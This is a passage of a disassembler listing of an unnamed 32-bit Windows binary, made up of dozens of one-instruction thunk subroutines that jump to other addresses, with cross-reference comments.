sub_40A800 sub_4017EE endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4017F3 proc near ; CODE XREF: ___:00421EAAp jmp sub_422470 sub_4017F3 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_4017F8 proc near jmp sub_40B2F0 sub_4017F8 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4017FD proc near ; CODE XREF: sub_4068E0+205p jmp sub_41B920 sub_4017FD endp ; [00000005 BYTES: COLLAPSED FUNCTION j_nullsub_8. PRESS KEYPAD "+" TO EXPAND] ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401807 proc near ; CODE XREF: ___:00427D03p jmp sub_427D30 sub_401807 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40180C proc near ; CODE XREF: ___:00425F16p ; ___:00425F47p jmp sub_4257F0 sub_40180C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401811 proc near ; CODE XREF: sub_41E760+FFp ; sub_41E760+179p ... jmp sub_421B80 sub_401811 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401816 proc near ; CODE XREF: sub_40A1F0+7p jmp sub_40A210 sub_401816 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_40181B proc near ; CODE XREF: sub_40B510+76p jmp sub_40B470 sub_40181B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401820 proc near ; CODE XREF: ___:00423F8Dp ; DATA XREF: ___:off_445424o jmp sub_425100 sub_401820 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401825 proc near ; CODE XREF: sub_41E760+18Ep ; ___:0043C483j jmp sub_4219F0 sub_401825 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40182A proc near ; DATA XREF: ___:off_43F10Co jmp sub_428210 sub_40182A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40182F proc near ; CODE XREF: ___:00416EDFp jmp sub_417EF0 sub_40182F endp ; --------------------------------------------------------------------------- jmp loc_42FF10 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401839 proc near ; CODE XREF: sub_41E760+3BCp ; sub_4226B0+3p jmp sub_421D50 sub_401839 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40183E proc near ; CODE XREF: sub_427990+90p jmp sub_427C50 sub_40183E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401843 proc near ; CODE XREF: ___:0042444Dp ; sub_424920+135p jmp sub_424480 sub_401843 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401848 proc near ; CODE XREF: sub_40BF20+3p ; ___:0040BFEFp ... jmp sub_40C160 sub_401848 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40184D proc near ; CODE XREF: sub_407140+36p ; sub_407140+72p ... jmp sub_407390 sub_40184D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401852 proc near ; CODE XREF: ___:00413251p jmp sub_415770 sub_401852 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401857 proc near ; CODE XREF: ___:0040BAB1p ; ___:0040BB78p ... jmp sub_412B70 sub_401857 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40185C proc near ; CODE XREF: ___:004332DFp ; ___:004333EFp ... jmp sub_432E20 sub_40185C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401861 proc near ; DATA XREF: ___:0043359Ao ; ___:00433700o jmp sub_432E90 sub_401861 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401866 proc near ; CODE XREF: sub_416460+7p jmp sub_416840 sub_401866 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40186B proc near ; CODE XREF: sub_418430+34p jmp sub_404C70 sub_40186B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401870 proc near ; CODE XREF: sub_403530+7Ap ; sub_403530+9Ep ... jmp sub_409C20 sub_401870 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401875 proc near ; CODE XREF: sub_420630+152p jmp sub_4208A0 sub_401875 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40187A proc near ; CODE XREF: ___:0041A328p ; sub_41B110+3p ... jmp sub_41B140 sub_40187A endp ; --------------------------------------------------------------------------- jmp loc_42B060 ; --------------------------------------------------------------------------- jmp loc_41C1E0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401889 proc near ; CODE XREF: ___:00416B4Bp ; ___:0043B26Cj ... jmp sub_416E10 sub_401889 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40188E proc near ; CODE XREF: sub_410030+217p ; sub_41FE90+4Cp ... jmp sub_41FE50 sub_40188E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401893 proc near ; CODE XREF: sub_42AD90+9Dp jmp sub_429450 sub_401893 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401898 proc near ; CODE XREF: ___:0042D2F5p jmp sub_4290B0 sub_401898 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40189D proc near ; DATA XREF: ___:0043F184o jmp sub_42B440 sub_40189D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4018A2 proc near ; CODE XREF: sub_41B5B0+DDp jmp sub_41AE30 sub_4018A2 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4018A7 proc near jmp sub_4341C0 sub_4018A7 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4018AC proc near ; CODE XREF: ___:00414295p ; sub_414E10+1B2p jmp sub_413E70 sub_4018AC endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4018B1 proc near ; CODE XREF: sub_4120B0+1B6p jmp sub_40A1F0 sub_4018B1 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4018B6 proc near ; CODE XREF: sub_41E760+5ABp jmp sub_4204D0 sub_4018B6 endp ; --------------------------------------------------------------------------- jmp loc_433000 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4018C0 proc near ; CODE XREF: sub_40A9F0+14p jmp sub_40ACA0 sub_4018C0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4018C5 proc near ; CODE XREF: sub_4135E0+B4p ; ___:00414C60p ... jmp sub_415710 sub_4018C5 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4018CA proc near ; CODE XREF: sub_41A3B0+6Dp ; sub_41A3B0+1B5p jmp sub_41B060 sub_4018CA endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4018CF proc near ; CODE XREF: ___:004323CAp jmp sub_431D80 sub_4018CF endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4018D4 proc near ; CODE XREF: sub_418F90+5Fp jmp sub_419130 sub_4018D4 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4018D9 proc near ; CODE XREF: ___:00416B9Bp ; ___:0043B226j ... jmp sub_4179F0 sub_4018D9 endp ; --------------------------------------------------------------------------- jmp loc_419ED0 ; --------------------------------------------------------------------------- jmp sub_41A1E0 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_4018E8 proc near ; CODE XREF: sub_41E760+46p jmp sub_4219B0 sub_4018E8 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4018ED proc near ; CODE XREF: ___:0042D425p jmp sub_42ACB0 sub_4018ED endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_4018F2 proc near ; CODE XREF: sub_422230+7p jmp sub_422620 sub_4018F2 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4018F7 proc near ; CODE XREF: sub_4220B0+9p ; sub_422510+18p jmp sub_422690 sub_4018F7 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4018FC proc near ; CODE XREF: sub_4222B0+8p jmp sub_422670 sub_4018FC endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401901 proc near ; CODE XREF: sub_4134A0+43p ; sub_4148A0+4Fp ... jmp sub_415820 sub_401901 endp ; --------------------------------------------------------------------------- jmp loc_431D00 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_40190B proc near ; CODE XREF: sub_421AD0+1Fp jmp sub_421E50 sub_40190B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401910 proc near ; CODE XREF: sub_4219B0+11p ; sub_421E50+1Fp jmp sub_421F80 sub_401910 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401915 proc near ; CODE XREF: sub_40B470+6Dp jmp sub_40BE70 sub_401915 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_40191A proc near ; CODE XREF: sub_409530+13p jmp sub_409660 sub_40191A endp ; --------------------------------------------------------------------------- jmp loc_4378B0 ; --------------------------------------------------------------------------- jmp sub_41B110 ; --------------------------------------------------------------------------- loc_401929: ; DATA XREF: ___:off_43F068o jmp loc_416DE0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40192E proc near ; CODE XREF: ___:00413C01p jmp sub_413A80 sub_40192E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401933 proc near ; CODE XREF: ___:00413263p ; sub_4132F0+32p jmp sub_4155B0 sub_401933 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401938 proc near ; CODE XREF: ___:00416C4Bp ; ___:0043B18Cj ... jmp sub_417120 sub_401938 endp ; --------------------------------------------------------------------------- jmp loc_432390 ; --------------------------------------------------------------------------- jmp loc_4347E0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401947 proc near ; CODE XREF: sub_41C710+F1p ; sub_41C710+270p ... jmp sub_420F10 sub_401947 endp ; --------------------------------------------------------------------------- jmp loc_40A4E0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401951 proc near ; CODE XREF: sub_404CC0+283p ; sub_40EE40+D2p ... jmp sub_40F060 sub_401951 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401956 proc near ; CODE XREF: sub_4219F0+34p ; sub_422340+67p jmp sub_421FD0 sub_401956 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40195B proc near ; CODE XREF: sub_404CC0+BF1p jmp sub_406730 sub_40195B endp ; --------------------------------------------------------------------------- jmp loc_433650 ; --------------------------------------------------------------------------- loc_401965: ; DATA XREF: sub_41FD00+39o jmp loc_41FC30 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40196A proc near ; CODE XREF: ___:0041A29Ep ; sub_41A3B0+Bp ... jmp sub_41A390 sub_40196A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40196F proc near ; CODE XREF: ___:0041AC86p ; ___:0041AD66p jmp sub_41A990 sub_40196F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401974 proc near jmp sub_419320 sub_401974 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401979 proc near ; CODE XREF: sub_4119E0+2Ep ; sub_411BE0+3p jmp sub_411B20 sub_401979 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40197E proc near ; CODE XREF: sub_41E760+F5p ; sub_41E760+16Fp ... jmp sub_421AA0 sub_40197E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401983 proc near ; CODE XREF: sub_409530+4p ; sub_4096E0+1Fp ... jmp sub_4095E0 sub_401983 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401988 proc near jmp sub_409B10 sub_401988 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40198D proc near ; CODE XREF: sub_41F960+20p ; sub_42AD90+37p jmp sub_41FF50 sub_40198D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401992 proc near ; CODE XREF: sub_4135E0+4Ap ; ___:00414C0Fp ... jmp sub_415500 sub_401992 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401997 proc near ; CODE XREF: sub_40A510+A8p jmp sub_40A930 sub_401997 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40199C proc near ; CODE XREF: sub_40CC90+41p jmp sub_40CF40 sub_40199C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4019A1 proc near ; CODE XREF: ___:004346F5p ; ___:004347F5p jmp sub_434450 sub_4019A1 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4019A6 proc near ; CODE XREF: sub_4219F0+29p jmp sub_421EF0 sub_4019A6 endp ; --------------------------------------------------------------------------- jmp loc_42FFE0 ; --------------------------------------------------------------------------- jmp loc_42FFB0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4019B5 proc near ; CODE XREF: sub_40A870+Dp ; sub_40AAD0+91p jmp sub_40A9F0 sub_4019B5 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4019BA proc near ; CODE XREF: sub_422150+23p ; sub_422510+11p jmp sub_4226B0 sub_4019BA endp ; --------------------------------------------------------------------------- jmp loc_41AC20 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4019C4 proc near ; CODE XREF: sub_404010+2Cp ; ___:0040408Fp ... jmp sub_403530 sub_4019C4 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4019C9 proc near ; CODE XREF: sub_422850+6p jmp sub_4228C0 sub_4019C9 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4019CE proc near ; DATA XREF: ___:off_43F050o jmp sub_416D30 sub_4019CE endp ; --------------------------------------------------------------------------- jmp sub_40FE40 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_4019D8 proc near ; CODE XREF: sub_407460+4p jmp sub_407590 sub_4019D8 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4019DD proc near ; CODE XREF: ___:0040B709p ; ___:0040BB26p ... jmp sub_40B600 sub_4019DD endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4019E2 proc near ; CODE XREF: sub_410030+AF4p ; sub_410030+E6Ap jmp sub_411BE0 sub_4019E2 endp ; --------------------------------------------------------------------------- jmp loc_433C30 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4019EC proc near ; CODE XREF: sub_4145A0+CEp jmp sub_414710 sub_4019EC endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4019F1 proc near ; DATA XREF: ___:0043F1C8o jmp sub_42CB70 sub_4019F1 endp ; --------------------------------------------------------------------------- loc_4019F6: ; DATA XREF: ___:off_43F0D0o jmp loc_41D830 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4019FB proc near ; CODE XREF: sub_421B10+3p jmp sub_422030 sub_4019FB endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401A00 proc near ; CODE XREF: ___:00416E8Fp jmp sub_40B190 sub_401A00 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401A05 proc near jmp sub_4133B0 sub_401A05 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401A0A proc near ; CODE XREF: sub_41E760+477p jmp sub_4201F0 sub_401A0A endp ; --------------------------------------------------------------------------- jmp loc_421950 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401A14 proc near ; DATA XREF: ___:0043F124o jmp sub_428940 sub_401A14 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401A19 proc near jmp sub_411C10 sub_401A19 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401A1E proc near ; CODE XREF: sub_4344C0+92p jmp sub_431C30 sub_401A1E endp ; --------------------------------------------------------------------------- jmp loc_4292B0 ; --------------------------------------------------------------------------- jmp loc_427D00 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401A2D proc near ; CODE XREF: sub_421EF0+32p jmp sub_422340 sub_401A2D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401A32 proc near ; CODE XREF: ___:00416BDBp ; sub_416D30+3p ... jmp sub_416D00 sub_401A32 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401A37 proc near ; CODE XREF: ___:00423B04p ; ___:004285E8p ... jmp sub_420E00 sub_401A37 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401A3C proc near ; CODE XREF: sub_422310+Ap jmp sub_422720 sub_401A3C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401A41 proc near ; CODE XREF: ___:00412F9Fp ; ___:00413054p ... jmp sub_404690 sub_401A41 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401A46 proc near ; CODE XREF: sub_409530+1Ap ; sub_409610+4p ... jmp sub_4095A0 sub_401A46 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401A4B proc near ; DATA XREF: ___:off_43F028o jmp sub_40FE40 sub_401A4B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401A50 proc near ; DATA XREF: ___:0043F0E4o jmp sub_427990 sub_401A50 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401A55 proc near ; CODE XREF: ___:00426475p jmp sub_426070 sub_401A55 endp ; --------------------------------------------------------------------------- jmp loc_409E30 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401A5F proc near ; CODE XREF: sub_415BA0+1Ep jmp sub_416650 sub_401A5F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401A64 proc near ; CODE XREF: ___:004305E0p ; sub_4321F0+36p ... jmp sub_431630 sub_401A64 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401A69 proc near ; CODE XREF: sub_4138B0+3Ep jmp sub_434BF0 sub_401A69 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401A6E proc near ; CODE XREF: sub_414A70+3p jmp sub_414AA0 sub_401A6E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401A73 proc near ; CODE XREF: ___:0040829Fp ; ___:00408730p jmp sub_409570 sub_401A73 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401A78 proc near ; DATA XREF: ___:0043F0E0o ; ___:0043F0F0o ... jmp sub_4276C0 sub_401A78 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401A7D proc near ; CODE XREF: sub_41D930+1ADp jmp sub_42DB00 sub_401A7D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401A82 proc near ; CODE XREF: sub_420630+191p ; sub_4228C0+3p ... jmp sub_4208C0 sub_401A82 endp ; --------------------------------------------------------------------------- jmp loc_4302E0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401A8C proc near ; CODE XREF: sub_4226E0+5p jmp sub_422850 sub_401A8C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401A91 proc near ; CODE XREF: ___:00416F4Ap jmp sub_418200 sub_401A91 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401A96 proc near ; CODE XREF: sub_407270+5p ; sub_407360+6p ... jmp sub_4074B0 sub_401A96 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401A9B proc near ; CODE XREF: sub_403530+90p ; sub_404CC0+40Cp ... jmp sub_40A780 sub_401A9B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401AA0 proc near ; CODE XREF: sub_41D930+2FFp ; sub_41F030+52Fp jmp sub_41FE90 sub_401AA0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401AA5 proc near ; CODE XREF: ___:004330BAp jmp sub_430B30 sub_401AA5 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401AAA proc near ; CODE XREF: sub_415570+1Fp jmp sub_415ED0 sub_401AAA endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401AAF proc near ; CODE XREF: sub_403530+E5p ; sub_409F50+Fp ... jmp sub_409E80 sub_401AAF endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401AB4 proc near ; CODE XREF: sub_432850+17p ; sub_432850+33p jmp sub_434A00 sub_401AB4 endp ; --------------------------------------------------------------------------- jmp loc_434770 ; [00000005 BYTES: COLLAPSED FUNCTION j_nullsub_11. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- jmp loc_427D00 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401AC8 proc near ; CODE XREF: sub_424F70+E5p ; sub_424F70+120p jmp sub_424E20 sub_401AC8 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401ACD proc near ; DATA XREF: ___:off_43F034o jmp sub_4120B0 sub_401ACD endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401AD2 proc near ; DATA XREF: ___:0041FC33o jmp sub_41FB90 sub_401AD2 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401AD7 proc near ; CODE XREF: sub_407140+Bp jmp sub_407320 sub_401AD7 endp ; --------------------------------------------------------------------------- jmp loc_433E90 ; --------------------------------------------------------------------------- loc_401AE1: ; DATA XREF: ___:off_43F020o jmp loc_40B9B0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401AE6 proc near ; CODE XREF: sub_403F30+2Bp ; sub_403F30+3Bp ... jmp sub_403D60 sub_401AE6 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401AEB proc near ; CODE XREF: sub_4135E0+66p ; sub_4135E0+CAp ... jmp sub_415740 sub_401AEB endp ; --------------------------------------------------------------------------- jmp loc_41B880 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401AF5 proc near jmp sub_4228F0 sub_401AF5 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401AFA proc near ; CODE XREF: ___:00416C2Bp ; ___:0043B1A8j ... jmp sub_40B250 sub_401AFA endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401AFF proc near ; CODE XREF: ___:00421864p ; ___:0042189Ep jmp sub_4216D0 sub_401AFF endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401B04 proc near ; CODE XREF: sub_404C30+15p jmp sub_407140 sub_401B04 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401B09 proc near ; DATA XREF: ___:off_43F0BCo jmp sub_41A1E0 sub_401B09 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401B0E proc near ; CODE XREF: ___:0041700Fp jmp sub_418A00 sub_401B0E endp ; --------------------------------------------------------------------------- loc_401B13: ; CODE XREF: ___:00439F76j jmp loc_40CBD0 ; --------------------------------------------------------------------------- loc_401B18: ; DATA XREF: ___:off_43F16Co jmp loc_42B060 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401B1D proc near ; CODE XREF: sub_4170B0+28p jmp sub_418990 sub_401B1D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401B22 proc near ; CODE XREF: ___:00432CD7p jmp sub_432D10 sub_401B22 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401B27 proc near ; CODE XREF: sub_431240+Bp jmp sub_4316C0 sub_401B27 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401B2C proc near jmp sub_40AF80 sub_401B2C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401B31 proc near ; CODE XREF: ___:00418D7Bp ; sub_418F90+28p ... jmp sub_419050 sub_401B31 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401B36 proc near ; DATA XREF: ___:off_43F1B0o jmp sub_42C7E0 sub_401B36 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401B3B proc near ; CODE XREF: ___:00416B7Bp ; ___:0043B242j ... jmp sub_417AD0 sub_401B3B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401B40 proc near ; CODE XREF: ___:004087CFp ; ___:004087F0p ... jmp sub_4076B0 sub_401B40 endp ; --------------------------------------------------------------------------- jmp loc_414BC0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401B4A proc near ; CODE XREF: sub_41C710+83p ; ___:004295EFp jmp sub_41D640 sub_401B4A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401B4F proc near ; CODE XREF: sub_41A990+11p jmp sub_41A9C0 sub_401B4F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401B54 proc near ; CODE XREF: sub_41E760+339p jmp sub_421D10 sub_401B54 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401B59 proc near ; CODE XREF: sub_414D40+3p jmp sub_414D70 sub_401B59 endp ; --------------------------------------------------------------------------- jmp loc_433F90 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401B63 proc near ; CODE XREF: sub_430D90+29p jmp sub_430830 sub_401B63 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401B68 proc near ; CODE XREF: sub_40FE70+38p ; ___:0043A458j jmp sub_412C90 sub_401B68 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401B6D proc near jmp sub_40D660 sub_401B6D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401B72 proc near ; CODE XREF: sub_4076B0+3Bp ; sub_407740+43p jmp sub_40B510 sub_401B72 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401B77 proc near ; CODE XREF: sub_407320+3p jmp sub_4074F0 sub_401B77 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401B7C proc near ; CODE XREF: sub_424920+9Dp ; sub_424920+FBp ... jmp sub_4246D0 sub_401B7C endp ; --------------------------------------------------------------------------- loc_401B81: ; DATA XREF: ___:off_43F084o jmp loc_426EC0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401B86 proc near ; CODE XREF: sub_410030+413p ; sub_410030+F69p ... jmp sub_40A040 sub_401B86 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401B8B proc near ; CODE XREF: ___:00426764p jmp sub_4267D0 sub_401B8B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401B90 proc near ; CODE XREF: sub_422150+32p jmp sub_422510 sub_401B90 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401B95 proc near ; CODE XREF: sub_41B5B0+A5p jmp sub_41A7D0 sub_401B95 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401B9A proc near ; CODE XREF: sub_40C040+23p ; sub_40C200+11p jmp sub_40C3A0 sub_401B9A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401B9F proc near ; CODE XREF: ___:0042CB23p jmp sub_42CB50 sub_401B9F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401BA4 proc near jmp sub_41E240 sub_401BA4 endp ; --------------------------------------------------------------------------- loc_401BA9: ; DATA XREF: sub_431240+86o jmp loc_432940 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401BAE proc near ; CODE XREF: sub_409610+20p jmp sub_4096E0 sub_401BAE endp ; [00000005 BYTES: COLLAPSED FUNCTION j_nullsub_9. PRESS KEYPAD "+" TO EXPAND] ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401BB8 proc near ; DATA XREF: ___:off_43F0A4o jmp sub_40CC90 sub_401BB8 endp ; --------------------------------------------------------------------------- jmp loc_431CC0 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401BC2 proc near ; CODE XREF: sub_421CD0+1Fp jmp sub_4220B0 sub_401BC2 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401BC7 proc near ; CODE XREF: sub_428810+39p jmp sub_4283D0 sub_401BC7 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401BCC proc near ; CODE XREF: sub_415820+5p ; sub_415A30+6p ... jmp sub_416480 sub_401BCC endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401BD1 proc near ; CODE XREF: sub_4316C0+5Dp ; sub_432A20+3Ep jmp sub_4317C0 sub_401BD1 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401BD6 proc near ; CODE XREF: ___:00433419p ; ___:0043343Ap ... jmp sub_431EF0 sub_401BD6 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401BDB proc near ; CODE XREF: ___:00427092p jmp sub_427C90 sub_401BDB endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401BE0 proc near ; CODE XREF: sub_41B4D0+3p jmp sub_41B500 sub_401BE0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401BE5 proc near ; CODE XREF: sub_429510+3p jmp sub_429540 sub_401BE5 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401BEA proc near ; CODE XREF: sub_422B40+924p ; ___:0042416Ap jmp sub_426BD0 sub_401BEA endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401BEF proc near ; CODE XREF: sub_42E5B0+18Dp ; sub_42E5B0+1CDp ... jmp sub_42F2C0 sub_401BEF endp ; =============== S U B R O U T I N E ======================================= ; Attributes: 